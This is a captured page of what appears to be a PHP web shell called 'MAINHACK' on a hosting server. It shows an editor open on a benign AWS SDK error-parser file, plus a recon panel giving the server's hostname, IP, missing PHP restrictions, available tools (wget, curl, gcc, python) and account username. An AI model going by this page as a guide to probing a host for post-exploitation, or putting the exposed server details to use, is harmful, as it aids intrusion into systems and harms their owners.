[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: XmlErrorParser.php
<?php namespace Aws\Api\ErrorParser; use Aws\Api\Parser\PayloadParserTrait; use Aws\Api\Parser\XmlParser; use Aws\Api\Service; use Aws\Api\StructureShape; use Aws\CommandInterface; use Psr\Http\Message\ResponseInterface; /** * Parses XML errors. */ class XmlErrorParser extends AbstractErrorParser { use PayloadParserTrait; protected $parser; public function __construct(Service $api = null, XmlParser $parser = null) { parent::__construct($api); $this->parser = $parser ?: new XmlParser(); } public function __invoke( ResponseInterface $response, CommandInterface $command = null ) { $code = (string) $response->getStatusCode(); $data = [ 'type' => $code[0] == '4' ? 'client' : 'server', 'request_id' => null, 'code' => null, 'message' => null, 'parsed' => null ]; $body = $response->getBody(); if ($body->getSize() > 0) { $this->parseBody($this->parseXml($body, $response), $data); } else { $this->parseHeaders($response, $data); } $this->populateShape($data, $response, $command); return $data; } private function parseHeaders(ResponseInterface $response, array &$data) { if ($response->getStatusCode() == '404') { $data['code'] = 'NotFound'; } $data['message'] = $response->getStatusCode() . ' ' . $response->getReasonPhrase(); if ($requestId = $response->getHeaderLine('x-amz-request-id')) { $data['request_id'] = $requestId; $data['message'] .= " (Request-ID: $requestId)"; } } private function parseBody(\SimpleXMLElement $body, array &$data) { $data['parsed'] = $body; $prefix = $this->registerNamespacePrefix($body); if ($tempXml = $body->xpath("//{$prefix}Code[1]")) { $data['code'] = (string) $tempXml[0]; } if ($tempXml = $body->xpath("//{$prefix}Message[1]")) { $data['message'] = (string) $tempXml[0]; } $tempXml = $body->xpath("//{$prefix}RequestId[1]"); if (isset($tempXml[0])) { $data['request_id'] = (string)$tempXml[0]; } } protected function registerNamespacePrefix(\SimpleXMLElement $element) { $namespaces = $element->getDocNamespaces(); if (!isset($namespaces[''])) { return ''; } // Account for the default namespace being defined and PHP not // being able to handle it :(. $element->registerXPathNamespace('ns', $namespaces['']); return 'ns:'; } protected function payload( ResponseInterface $response, StructureShape $member ) { $xmlBody = $this->parseXml($response->getBody(), $response); $prefix = $this->registerNamespacePrefix($xmlBody); $errorBody = $xmlBody->xpath("//{$prefix}Error"); if (is_array($errorBody) && !empty($errorBody[0])) { return $this->parser->parse($member, $errorBody[0]); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285